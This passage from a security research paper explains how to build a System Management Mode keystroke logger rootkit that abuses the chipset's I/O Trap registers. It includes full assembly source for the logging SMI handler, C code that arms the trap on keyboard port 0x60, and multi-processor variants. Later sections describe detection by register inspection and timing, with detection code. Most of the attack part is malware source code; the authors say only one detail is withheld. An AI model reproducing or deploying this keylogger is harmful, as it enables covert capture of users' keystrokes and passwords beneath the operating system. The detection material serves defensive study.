5. In SMM, keystroke logger SMI handler claims ownership of and handles
this I/O Trap SMI
6. Upon exit from SMM, keystroke logger SMI handler returns result of port
0x60 read (current scan code) to keyboard interrupt handler in kernel for
further processing
We described all steps up to the last, step 6, where SMI keylogger returns
intercepted data to the OS keyboard interrupt handler. Returning
intercepted scan code is different in SMM keylogger using I/O Trap
method than in SMM keylogger using I/O APIC. If APIC is used to trigger
SMI (as in [smm_rkt]), SMI keylogger has to re-inject intercepted scan
code because it has to be later read by OS keyboard interrupt handler.
On the other side, SMM keylogger that uses I/O Trap method to intercept
keystrokes traps "IN al, 0x60" instruction executed by OS keyboard
interrupt handler. This IN instruction cannot be restarted upon resuming
from SMM as it would cause an infinite loop of SMI traps. Instead, SMI
handler has to return result of IN instruction in AL/AX/EAX register as if
IN instruction wasn't trapped at all.
EAX register is saved in SMM Save State Map in SMRAM at an offset 0x7FD0
from SMBASE + 0x8000 in IA-32 [intel_man] or at an offset 0x7F5C in IA-64.
So to return correct result of IN instruction our SMI keylogger will need
to update EAX field with scan code read from port 0x60. Obviously, it
should update EAX only in case if SMI# is IO_SMI as described above in
this section.
Let's modify the above snippet and add the code updating EAX:
;
; verify that this is IO_SMI due to read to 0x60 port
; then update EAX in SMM state save area (SMBASE + 0x8000 + 0x7FD0)
;
mov esi, SMBASE
mov ecx, dword ptr fs:[esi + 0xFFA4]
cmp ecx, 0x00600013
jnz _not_io_smi
mov byte ptr fs:[esi + 0xFFD0], al
_not_io_smi:
; skip this SMI#
For the sake of completeness, below we provide a snippet that re-injects
scan code into keyboard controller buffer which would be used by SMM
keylogger based on IRQ1 to SMI# APIC redirection:
; read scan code from keyboard controller buffer
in al, 0x60
push ax
; write command byte 0xD2 to command port 0x64
; to re-inject intercepted scan code into keyboard controller buffer
; so that OS keyboard interrupt can read and display it later
mov al, 0xd2
out 0x64, al
; wait until keyboard controller is ready to read
_wait:
in al, 0x64
test al, 0x2
jnz _wait
; re-inject scan code
pop ax
out 0x60, al
We described all steps of I/O Trap feature. The next section describes how
I/O Trap feature can be enabled for SMI keystroke logger to work.
--[ 3.2 - Programming I/O Trap to capture keystrokes
To enable and program I/O Trap mechanism we need to consult with chipset
specifications. For example, Intel(r) I/O Controller Hub 10 (ICH10) Family
datasheet [ich] specifies 4 registers IOTR0 - IOTR3 that can provide
capability to trap access to I/O ports.
IOTRn - I/O Trap Register (0-3)
Offset Address: 1E80-1E87h Register 0 Attribute: R/W
1E88-1E8Fh Register 1
1E90-1E97h Register 2
1E98-1E9Fh Register 3
"These registers are used to specify the set of I/O cycles to be trapped
and to enable this functionality."
All I/O Trap registers are located in Root Complex Base Address Register
(RCBA) space in ICH. Please refer to sections 10.1.46-49 of [ich] for
details of I/O Trap registers.
- I/O Trap 0-3 (IOTRn) registers are at the offsets 0x1E80 through 0x1E9F
from RCBA.
- Trap Status Register (TRST) is at offset 1E00h from RCBA. Contains 4
status bits indicating that access was trapped by one of IOTRn traps.
- Trapped Cycle Register (TRCR) is at offset 1E10h from RCBA. This
register contains data written to trapped I/O port. It's not used when
trapping read cycles.
RCBA value can be read from ICH PCI configuration register B:D:F = 0:31:0,
offset 0xF0.
//
// Read the Root Complex Base Address Register (RCBA)
//
// LPC device in ICH, B:D:F = 0:31:0
lpc_rcba_addr = pci_addr( 0, 31, 0, LPC_RCBA_REG );
_outpd( 0xcf8, lpc_rcba_addr );
rcba_reg = _inpd( 0xcfc );
pa.LowPart = rcba_reg & 0xffffc000;
// 0x2000 is enough to access I/O Trap range
rcba = MmMapIoSpace( pa, 0x2000, MmCached );
Each IOTRn register contains the following important bits that we'll need
to use:
Bit 0 Trap and SMI# Enable (TRSE)
0 = Trapping and SMI# logic disabled.
1 = The trapping logic specified in this register is enabled.
..
Bits 15:2 I/O Address[15:2] (IOAD)
dword-aligned address
..
Bits 35:32 Byte Enables (TBE)
Active-high dword-aligned byte enables.
..
Bit 48 Read/Write# (RWIO)
0 = Write
1 = Read
NOTE: The value in this field does not matter if bit 49 is set.
To enable trapping read accesses to keyboard controller data port 0x60 one
of IOTRn registers (for example, IOTR0) have to be programmed as follows:
- lower DWORD of IOTR0 should be programmed to value 0x61 (IOAD = 0x60,
TRSE = 1)
- higher DWORD of IOTR0 should be programmed to value 0x100f0 (TBE = 0xf,
RWIO = 1)
A snippet of code that programs IOTR0 looks as follows:
//
// Program I/O Trap to trap on every read from
// keyboard controller data port 0x60
//
pIOTR0_LO = (DWORD *)(rcba + RCBA_IOTR0_LO);
pIOTR0_HI = (DWORD *)(rcba + RCBA_IOTR0_HI);
// trap on port read + all byte enables
*(DWORD*)pIOTR0_HI = 0x100f0;
// keyboard controller port 0x60 + 1 enable I/O Trap
*(DWORD*)pIOTR0_LO = 0x61;
For a complete source code please refer to the end of the paper.
In the next section we will describe full implementation of I/O Trap SMI
handler used to trap on keyboard interrupts.
Here we need to note the following. I/O Trap SMI handler needs to disable
I/O Trap at the beginning of SMI handler and re-enable I/O Trap upon
resuming from SMM. I/O Trap SMI handler should include these instructions:
; I/O Trap Register 0 = RCBA + 1E80h
IO_TRAP_IOTR0_REG equ FED1DE80h
mov edx, IO_TRAP_IOTR0_REG
mov dword ptr [edx], 0
; handle I/O Trap SMI
mov edx, IO_TRAP_IOTR0_REG
mov eax, 0x61
mov dword ptr [edx], eax
The above code first disables SMI I/O Trap by writing 0 to FED1DE80h MMIO
address (I/O Trap Register 0 = RCBA + 1E80h) and then after handling SMI,
writes 0x61 value to this register to re-enable I/O trap on read access to
port 0x60.
At this point we should have everything we need to modify SMI handler and
add a keystroke logger payload into SMM.
--[ 3.3 - System Management Mode keylogger
First thing to understand about SMI based keylogger is that it executes
in the specific environment set up by BIOS and SMI code. Despite that the
keylogger has similarities with kernel keylogger, it has a lot of SMI
specifics.
We tested described keylogger mechanism with only PS/2 keyboards.
We'll be designing SMI keylogger to directly query keyboard controller
data port 0x60 and read scan codes sent as interrupts when user presses or
releases any key on a keyboard.
Keyloggers that directly read port 0x60 typically need to re-inject read
scan code back to keyboard controller buffer using the same data port 0x60
such that software up in the stack can read and process this scan code
without noticing that it was intercepted by the keylogger.
In this paper we use I/O Trap mechanism to trigger SMI keylogger payload.
I/O Trap mechanism does not require re-injecting scan codes. This will be
explained later. Furthermore, keylogger will not work if it re-injects
scan code.
Below we provide an assembly of SMI keystroke logger payload based on I/O
Trap method. It reads scan codes and dumps them to some physical address
from where they can be extracted later. A complete code of SMI handler
implementing I/O Trap based SMI keylogger will be provided in the next
section.
pusha
;
; verify that this is IO_SMI due to read to 0x60 port
;
mov esi, SMBASE
mov ecx, dword ptr [esi + 0xFFA4]
cmp ecx, 0x00600013
jnz _not_io_smi
;
; read scan code from keyboard controller port 0x60
;
xor ax, ax
in al, 60h
;
; log intercepted scan code (to LOG_BUFFER_PHYS_ADDR physical address)
; the first dword is a number of scan code bytes saved in the buffer
;
mov edi, DST_BUF_PHYSADDR
mov ecx, dword ptr [edi]
push edi
lea edi, dword ptr [edi + ecx + 4]
mov byte ptr [edi], al
;
; increment number of scan code bytes saved in the buffer
;
inc ecx
pop edi
mov dword ptr [edi], ecx
;
; update EAX field in SMM state save map (SMBASE + 0x8000 + SMM_MAP_EAX)
; with scan code to be returned as a result of trapped IN instruction
;
mov byte ptr [esi + 0xFFD0], al
_not_io_smi:
popa
The next section provides full description of SMI handler that implements
functions of SMM keylogger based on I/O Trap keystroke interception method.
--[ 3.4 - I/O Trap based keystroke logger SMI handler
From the description in the previous sections I/O Trap method works like
this:
1. CPU issues read or write to some I/O port.
2. Chipset traps this access, decodes port number and width, read vs.
write access and consults to I/O Trap registers programmed by kernel mode
software.
3. If I/O port access corresponds to programmed in I/O Trap registers,
chipset asserts SMI# of the CPU.
4. CPU enters System Management Mode an jumps to SMI handler that claims
ownership of I/O Trap SMI.
The way to use I/O Trap mechanism to log keystrokes entered on target
system is to program chipset to trap on read to keyboard controller data
port 0x60 and issue SMI# which will invoke SMI handler that will log scan
code read from port 0x60.
Once invoked, after read to port 0x60 was trapped, SMI keylogger should
take the following actions:
1. Determine if SMI is due to an I/O Trap on read access to keyboard
controller port.
2. Clear I/O Trap status bit in TRST MMIO register at address 0xFED1DE00.
3. Temporarily disable I/O Trap by clearing IOTRn register at 0xFED1DE80,
because later it will need to read from the trapped port.
4. Check in TRCR MMIO register at 0xFED1DE10 whether read or write to port
was trapped.
5. Read scan code from keyboard controller port 0x60 and store it somewhere
in the keystroke log buffer to extract later or transmit it over the
network.
4. Update saved EAX register in SMM state save area with read scan code
such that when SMI resumes to protected mode, correct scan code is
returned to interrupted instructions in kernel keyboard interrupt handler
routine.
5. Re-enable I/O Trap on read access to keyboard controller port 0x60 by
writing 0x61 to IOTRn register to enable trapping for the next keystroke
after resuming from SMM to normal OS execution.
6. Return from SMI handler code indicating to main SMI dispatch function
that SMI was claimed and handled.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; I/O Trap based SMI keystroke logger
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; I/O Trap registers in Root Complex Base Address (RCBA)
;
IO_TRAP_IOTR0_REG equ FED1DE80h ; I/O Trap Register 0 = RCBA + 1E80h
IO_TRAP_TRSR_REG equ FED1DE00h ; Trap Status Register = RCBA + 1E00h
IO_TRAP_TRCR_REG equ FED1DE10h ; Trapped Cycle Register = RCBA + 1E10h
KBRD_DATA_PORT equ 60h
DST_BUF_PHYSADDR equ 20000h ; any physical address read later
SEG_4G equ ? ; depends on BIOS
;
; IO_SMI bit, I/O Port = 0x60
; I/O Type = IN DX
; I/O Length = 1
; should all be checked separately
;
IOSMI_IN_60_BYTE equ 00600013h
;
; SMM Save State Map fields
;
SMM_MAP_IO_STATE_INFO equ FFA4h
SMM_MAP_EAX equ FFD0h
;
; we need to load DS with index of 4G 0-based data segment in GDT
; to be able to access any MMIO
; or physical addresses for logging scan codes
;
push ds
push SEG_4G
pop ds
;
; clear I/O Trap status bit
;
mov eax, IO_TRAP_TRSR_REG
mov dword ptr [eax], 1
;
; check TRCR if it's IO read or write
; we trap only reads here
;
mov eax, IO_TRAP_TRCR_REG
mov ebx, dword ptr [eax]
bswap ebx
and bh, 0xf
and bl, 0x1
jz _smi_handled
;
; temporarily disable I/O Trap
;
mov eax, IO_TRAP_IOTR0_REG
mov dword ptr [eax], 0
;;;;;;;;;;;
; keystroke logging goes here
;;;;;;;;;;;
pusha
;
; verify that this is IO_SMI due to read to 0x60 port
;
mov esi, SMBASE
mov ecx, dword ptr [esi + SMM_MAP_IO_STATE_INFO]
cmp ecx, IOSMI_IN_60_BYTE
jnz _not_io_smi
;
; read scan code from keyboard controller port 0x60
;
xor ax, ax
in al, KBRD_DATA_PORT
;
; log intercepted scan code (to LOG_BUFFER_PHYS_ADDR physical address)
; the first dword is a number of scan code bytes saved in the buffer
;
mov edi, DST_BUF_PHYSADDR
mov ecx, dword ptr [edi]
push edi
lea edi, dword ptr [edi + ecx + 4]
mov byte ptr [edi], al
;
; increment number of scan code bytes saved in the buffer
;
inc ecx
pop edi
mov dword ptr [edi], ecx
;
; update EAX field in SMM state save map (SMBASE + 0x8000 + SMM_MAP_EAX)
; with scan code to be returned as a result of trapped IN instruction
;
mov byte ptr [esi + SMM_MAP_EAX], al
_not_io_smi:
popa
;;;;;;;;;;;
;
; re-enable I/O Trap on read from port 0x60
;
mov eax, IO_TRAP_IOTR0_REG
mov ebx, KBRD_DATA_PORT+1
mov dword ptr [eax], ebx
;
; return 0 indicating that SMI was handled
;
_smi_handled:
pop ds
mov eax, 0
retf
Above listing intentionally lacks one detail needed for this SMI handler
to function correctly in ASUS/AMI BIOS to prevent from copy-pasting it.
A bit more debugging should be sufficient to figure it out.
--[ 3.5 - Multi-processor keylogger specifics
We've seen in the previous section that I/O Trap based SMM keylogger has
to update saved EAX (RAX) register in SMM Save State Map so that the
processor could return it as a result of trapped IN instruction.
In case of multi processor system multiple logical processors may enter
SMM at the same time so they need their own SMM Save State Map allocated
in SMRAM. This is typically solved by setting SMRAM base address (SMBASE)
to a different value for each processor by the BIOS firmware (this is
referred to as "SMBASE relocation").
For example, in dual processor system, one logical processor may have
SMBASE = SMBASE0 and another processor may have SMBASE = SMBASE0 + 0x300.
In this case, the first processor starts executing SMI handler code at
EIP = SMBASE0 + 0x8000 and the second at EIP = SMBASE0 + 0x8000 + 0x300.
SMM Save State Map areas for both processors will start at
(SMBASE0 + 0x8000 + 0x7F00) and (SMBASE0 + 0x8000 + 0x7F00 + 0x300).
The following simple diagram illustrates SMRAM layout for 2 processors:
+ Processor 0 ---------------------------+ Processor 1 ---------------------------+
| | |
| + SMBASE + 0xFFFF + 0x300 ---------------+
| |///////// SMM Save Sate area ///////////|
| + SMBASE + 0xFF00 + 0x300 ---------------+
+ SMBASE + 0xFFFF -----------------------+ |
|///////// SMM Save Sate area ///////////| |
+ SMBASE + 0xFF00 -----------------------+ |
| | |
| | |
| | SMI Handler entry point |
| + SMBASE + 0x8000 + 0x300 ---------------+
| | |
| SMI Handler entry point | |
+ SMBASE + 0x8000 -----------------------+ |
| | |
| | |
| | |
| | SMRAM start |
+ + SMBASE + 0x300 ------------------------+
| | |
| SMRAM start | |
+ SMBASE --------------------------------+----------------------------------------+
Instead of 0x300, BIOS may choose any offset to use to increment SMBASE
for all processors. There is an easy way to determine it. SMM Save State
Map should contain SMM Revision Identifier Field at 0x7EFC offset of
SMBASE+0x8000 which should have the same value for each processor that
entered SMM. For example, SMM Revision ID may be 0x30100. SMI handler can
search for the same value of SMM Revision ID in SMRAM. An address of the
next SMM Revision ID field minus address of the current SMM Revision ID
field gives the offset that should be added to SMBASE to calculate SMBASE
of the next processor.
Below we demonstrate how SMM keylogger handler provided in the previous
section could have been modified to support dual processor. The code below
checks if I/O State Field has value matching to the correct I/O Trap for
each processor and, if so, updates EAX of this processor in SMM Save State
Map:
;
; update saved EAX registers in SMM state save maps of 2 processors
;
mov esi, SMBASE
lea ecx, dword ptr [esi + SMM_MAP_IO_STATE_INFO]
cmp ecx, IOSMI_IN_60_BYTE
jne _skip_proc0:
mov byte ptr [esi + SMM_MAP_EAX], al
_skip_proc0:
lea ecx, dword ptr [esi + SMM_MAP_IO_STATE_INFO + 0x300]
cmp ecx, IOSMI_IN_60_BYTE
jne _skip_proc1:
mov byte ptr [esi + SMM_MAP_EAX + 0x300], al
_skip_proc1:
..
--[ 4 - SUGGESTED DETECTION METHODS
--[ 4.1 - Detecting I/O Trap based SMM keylogger
Generally, as pointed in previous research, Operating System does not have
access to SMRAM as soon as it's locked by BIOS firmware. So detecting
malicious code inside SMRAM becomes a challenging task for the OS or
anti-virus software.
In many cases, however, it is not necessary to inspect SMRAM to detect the
presence of SMM rootkit. Let's explain this thesis on keylogger example
described earlier.
To be able to intercept pressed keystrokes SMM keystroke logger has to
modify hardware configuration in a certain way. In case of using I/O Trap
method SMM keylogger has to enable I/O Trap to trap on IN/OUT instructions
to keyboard controller ports 0x60 and 0x64.
In case of using I/O APIC technique SMM keylogger has to change I/O APIC
Redirection Table to program SMI# as a delivery mode of hardware interrupt
IRQ #01, as pointed in [smm_rkt].
As usual we'll focus on I/O Trap based SMM keylogger. If there is no
legitimate port 0x60/0x64 emulation used and I/O Trap is enabled to trap
on keyboard ports then this is a clear indication of SMM keylogger. So to
detect this keylogger we need to detect that I/O Trap has been programmed
to trap on access to keyboard controller I/O ports 0x60 and 0x64.
For example, the snippet below detects that I/O Trap is programmed to trap
on reads from port 0x60:
pIOTR0_LO = (DWORD *)(rcba + RCBA_IOTR0_LO);
// keyboard controller port 0x60 + 1 enable I/O Trap
if(0x61 == (*(DWORD*)pIOTR0_LO)) {
DbgPrint("SMM keylogger detected.
Found enabled I/O Trap on keyboard port 60h\n");
}
If I/O Trap is detected it's trivial to disable it. We simply need to
write 0x0 to IOTR0 register.
--[ 4.2 - General timing based detection
Another possible method to detect I/O Trap based SMM keylogger is to
measure timing difference between IN/OUT instructions that access keyboard
controller ports vs. other I/O ports. As access to some or all keyboard
ports is trapped by SMI handler then it will take (much) longer to return
results of IN/OUT instructions. For example, profiling "IN 60h" could be:
RDTSC
IN AL, 60H
RDTSC
It should be noted that all variants of IN instruction should be profiled
like "IN AL, 60H", "IN AX, DX" etc., because I/O Trap may be programmed to
intercept only certain variants.
--[ 5 - CONCLUSION
This work described details of how SMI handlers are implemented in BIOS
system firmware and how to disassemble and modify them. The authors hope
that this paper added some clarity to how malware could use SMI handlers
to add rootkit functionality in SMM and, more importantly, how to detect
such stealthy malware.
It would be naive to assume that SMM is secure as long as BIOS firmware
"locks down" SMM memory by setting D_LCK bit in SMRAMC register (original
attack from [smm]). Other vulnerabilities already found in SMM protections
as demonstrated in [xen_0wn].
SMI handlers may also change from BIOS to BIOS, may be updated with the
rest of BIOS firmware using BIOS update mechanism available for all
motherboards, may be extended with lots of new features (even with new
security features [xen_0wn]). Migration to (U)EFI will simplify EFI
firmware development and may cause even more functionality to be added
to EFI SMI handlers in SMM. Additionally, SMI handlers should interact
with unprotected OS and drivers. The bottom line is that we believe the
main danger will come from software vulnerabilities in SMI handlers' code
similarly to vulnerabilities in OS kernel, drivers and applications. BIOS
vendors should start paying better attention to what they are putting
into the SMM.
--[ 6 - SOURCE CODE
--[ 6.1 - System Management Mode keylogger that uses I/O Trap mechanism
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; I/O Trap based SMI keystroke logger
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; I/O Trap registers in Root Complex Base Address (RCBA)
;
IO_TRAP_IOTR0_REG equ FED1DE80h ; I/O Trap Register 0 = RCBA + 1E80h
IO_TRAP_TRSR_REG equ FED1DE00h ; Trap Status Register = RCBA + 1E00h
IO_TRAP_TRCR_REG equ FED1DE10h ; Trapped Cycle Register = RCBA + 1E10h
KBRD_DATA_PORT equ 60h
DST_BUF_PHYSADDR equ 20000h ; any physical address read later
SEG_4G equ ? ; depends on BIOS
;
; IO_SMI bit, I/O Port = 0x60
; I/O Type = IN DX
; I/O Length = 1
; should all be checked separately
;
IOSMI_IN_60_BYTE equ 00600013h
;
; SMM Save State Map fields
;
SMM_MAP_IO_STATE_INFO equ FFA4h
SMM_MAP_EAX equ FFD0h
;
; we need to load DS with index of 4G 0-based data segment in GDT
; to be able to access any MMIO
; or physical addresses for logging scan codes
;
push ds
push SEG_4G
pop ds
;
; clear I/O Trap status bit
;
mov eax, IO_TRAP_TRSR_REG
mov dword ptr [eax], 1
;
; check TRCR if it's IO read or write
; we trap only reads here
;
mov eax, IO_TRAP_TRCR_REG
mov ebx, dword ptr [eax]
bswap ebx
and bh, 0xf
and bl, 0x1
jz _smi_handled
;
; temporarily disable I/O Trap
;
mov eax, IO_TRAP_IOTR0_REG
mov dword ptr [eax], 0
;;;;;;;;;;;
; keystroke logging goes here
;;;;;;;;;;;
pusha
;
; verify that this is IO_SMI due to read to 0x60 port
;
mov esi, SMBASE
mov ecx, dword ptr [esi + SMM_MAP_IO_STATE_INFO]
cmp ecx, IOSMI_IN_60_BYTE
jnz _not_io_smi
;
; read scan code from keyboard controller port 0x60
;
xor ax, ax
in al, KBRD_DATA_PORT
;
; log intercepted scan code (to LOG_BUFFER_PHYS_ADDR physical address)
; the first dword is a number of scan code bytes saved in the buffer
;
mov edi, DST_BUF_PHYSADDR
mov ecx, dword ptr [edi]
push edi
lea edi, dword ptr [edi + ecx + 4]
mov byte ptr [edi], al
;
; increment number of scan code bytes saved in the buffer
;
inc ecx
pop edi
mov dword ptr [edi], ecx
;
; update EAX field in SMM state save map (SMBASE + 0x8000 + SMM_MAP_EAX)
; with scan code to be returned as a result of trapped IN instruction
;
mov byte ptr [esi + SMM_MAP_EAX], al
_not_io_smi:
popa
;;;;;;;;;;;
;
; re-enable I/O Trap on read from port 0x60
;
mov eax, IO_TRAP_IOTR0_REG
mov ebx, KBRD_DATA_PORT+1
mov dword ptr [eax], ebx
;
; return 0 indicating that SMI was handled
;
_smi_handled:
pop ds
mov eax, 0
retf
--[ 6.2 - Programming I/O Trap
#define LPC_RCBA_REG 0xF0
#define RCBA_IOTR0_LO 0x1E80 // I/O Trap 0 Register (IOTR0) low dword
#define RCBA_IOTR0_HI 0x1E84 // I/O Trap 0 Register (IOTR0) high dword
#define pci_addr(bus,dev,fn,reg) \
(0x80000000 | \
((bus & 0xff) << 16) | \
((dev & 0x1f) << 11) | \
((fn & 7) << 8) | \
(reg & 0xfc))
void _set_keystroke_io_trap()
{
unsigned long lpc_rcba_addr;
unsigned long rcba_reg;
void *rcba;
DWORD * pIOTR0_LO;
DWORD * pIOTR0_HI;
//
// Read the Root Complex Base Address Register (RCBA)
//
// LPC device in ICH, B:D:F: = 0:31:0
lpc_rcba_addr = pci_addr(0, 31, 0, LPC_RCBA_REG);
_outpd(0xcf8, lpc_rcba_addr);
rcba_reg = _inpd(0xcfc);
pa.LowPart = rcba_reg & 0xffffc000;
DbgPrint("RCBA base physical address: 0x%08x\n", pa.LowPart);
// 0x2000 is enough to access I/O Trap range
rcba = MmMapIoSpace(pa, 0x2000, MmCached);
//
// Program I/O Trap to trap on every read from
// keyboard controller data port 0x60
//
pIOTR0_LO = (DWORD *)(rcba + RCBA_IOTR0_LO);
pIOTR0_HI = (DWORD *)(rcba + RCBA_IOTR0_HI);
// trap on port read + all byte enables
*(DWORD*)pIOTR0_HI = 0x100f0;
// keyboard controller port 0x60 + 1 enable I/O Trap
*(DWORD*)pIOTR0_LO = 0x61;
DbgPrint("IOTR0 = 0x%08x%08x at 0x%08x\n",
*pIOTR0_HI, *pIOTR0_LO, (pa.LowPart + RCBA_IOTR0_LO));
}
--[ 6.3 - Detecting I/O Trap SMI keystroke logger
void _detect_keystroke_io_trap()
{
unsigned long lpc_rcba_addr;
unsigned long rcba_reg;
void *rcba;
DWORD * pIOTR0_LO;
DWORD * pIOTR0_HI;
//
// Read the Root Complex Base Address Register (RCBA)
//
// LPC device in ICH, B:D:F: = 0:31:0
lpc_rcba_addr = pci_addr(0, 31, 0, LPC_RCBA_REG);
_outpd(0xcf8, lpc_rcba_addr);
rcba_reg = _inpd(0xcfc);
pa.LowPart = rcba_reg & 0xffffc000;
// 0x2000 is enough to access I/O Trap range
rcba = MmMapIoSpace(pa, 0x2000, MmCached);
pIOTR0_LO = (DWORD *)(rcba + RCBA_IOTR0_LO);
pIOTR0_HI = (DWORD *)(rcba + RCBA_IOTR0_HI);
// keyboard controller port 0x60 + 1 enable I/O Trap
if(0x61 == (*(DWORD*)pIOTR0_LO))
{
DbgPrint("SMM keylogger detected.
Found enabled I/O Trap on keyboard data port 60h\n");
// Disable I/O Trap SMM keylogger
// clear low dword of IOTRn register
*(DWORD*)pIOTR0_LO = 0;
}
}
--[ 7 - REFERENCES
[smm_rkt] A New Breed of Rootkit: The System Management Mode (SMM) Rootkit
Shawn Embleton, Sherri Sparks, Cliff Zou. Black Hat USA 2008
http://www.eecs.ucf.edu/~czou/research/SMM-Rootkits-Securecom08.pdf
http://www.tucancunix.net/ceh/bhusa/BHUSA08/speakers/Embleton_Sparks_SMM_Rookits/
BH_US_08_Embleton_Sparks_SMM_Rootkits_WhitePaper.pdf
[smm] Using CPU System Management Mode to Circumvent Operating System Security Functions.
Loic Duflot, Daniel Etiemble, Olivier Grumelard. CanSecWest 2006
http://www.ssi.gouv.fr/fr/sciences/fichiers/lti/cansecwest2006-duflot-paper.pdf
[phrack_smm] Using SMM for 'Other Purposes'.
BSDaemon, coideloko, and D0nand0n. Phrack Vol 0x0C, Issue 0x41
http://www.phrack.org/issues.html?issue=65
[efi_hack] Hacking the Extensible Firmware Interface Firmware Interface
John Heasman. Black Hat USA 2007
http://www.ngssoftware.com/research/papers/BH-VEGAS-07-Heasman.pdf
[ich] Intel I/O Controller Hub 10 (ICH10) Family Datasheet
http://www.intel.com/assets/pdf/datasheet/319973.pdf
[intel_man] Intel IA-32 Architecture Software Developer's Manual
http://www.intel.com/products/processor/manuals/
[amd_man] BIOS and Kernel's Developer's Guide for AMD Athlon 64 and AMD Opteron Processors
Advanced Micro Devices, Inc.
http://www.amd.com/us-en/assets/content_type/white_papers_and_tech_docs/26094.PDF
[bios_disasm] BIOS Disassembly Ninjutsu Uncovered or
Pinczakko's Guide to Award BIOS Reverse Engineering
Darmawan M Salihun aka Pinczakko
http://www.geocities.com/mamanzip/Articles/Award_Bios_RE/Award_Bios_RE_guide.html
http://www.geocities.com/mamanzip/Articles/award_bios_patching/award_bios_patching.html
[ami_mod] Performing AMI BIOS Mods Discussion Thread // The Rebels Heaven
http://www.rebelshavenforum.com/sis-bin/ultimatebb.cgi?ubb=get_topic&f=52&t=000049
[xen_0wn] Preventing and Detecting Xen Hypervisor Subversions
Joanna Rutkowska & Rafal Wojtczuk. Black Hat USA 2008
http://invisiblethingslab.com/bh08/part2-full.pdf
[ami_usb] USB Support for AMIBIOS8
American Megatrends, Inc.
http://www.securitytechnet.com/resource/hot-topic/homenet/AMIBIOS8_USB_Whitepaper.pdf
[smm_cache] Getting into SMRAM: SMM Reloaded
Loic Duflot et al. CanSecWest 2009
http://cansecwest.com/csw09/csw09-duflot.pdf
Attacking SMM Memory via IntelR CPU Cache Poisoning
Rafal Wojtczuk and Joanna Rutkowska
http://invisiblethingslab.com/resources/misc09/smm_cache_fun.pdf
--------[ EOF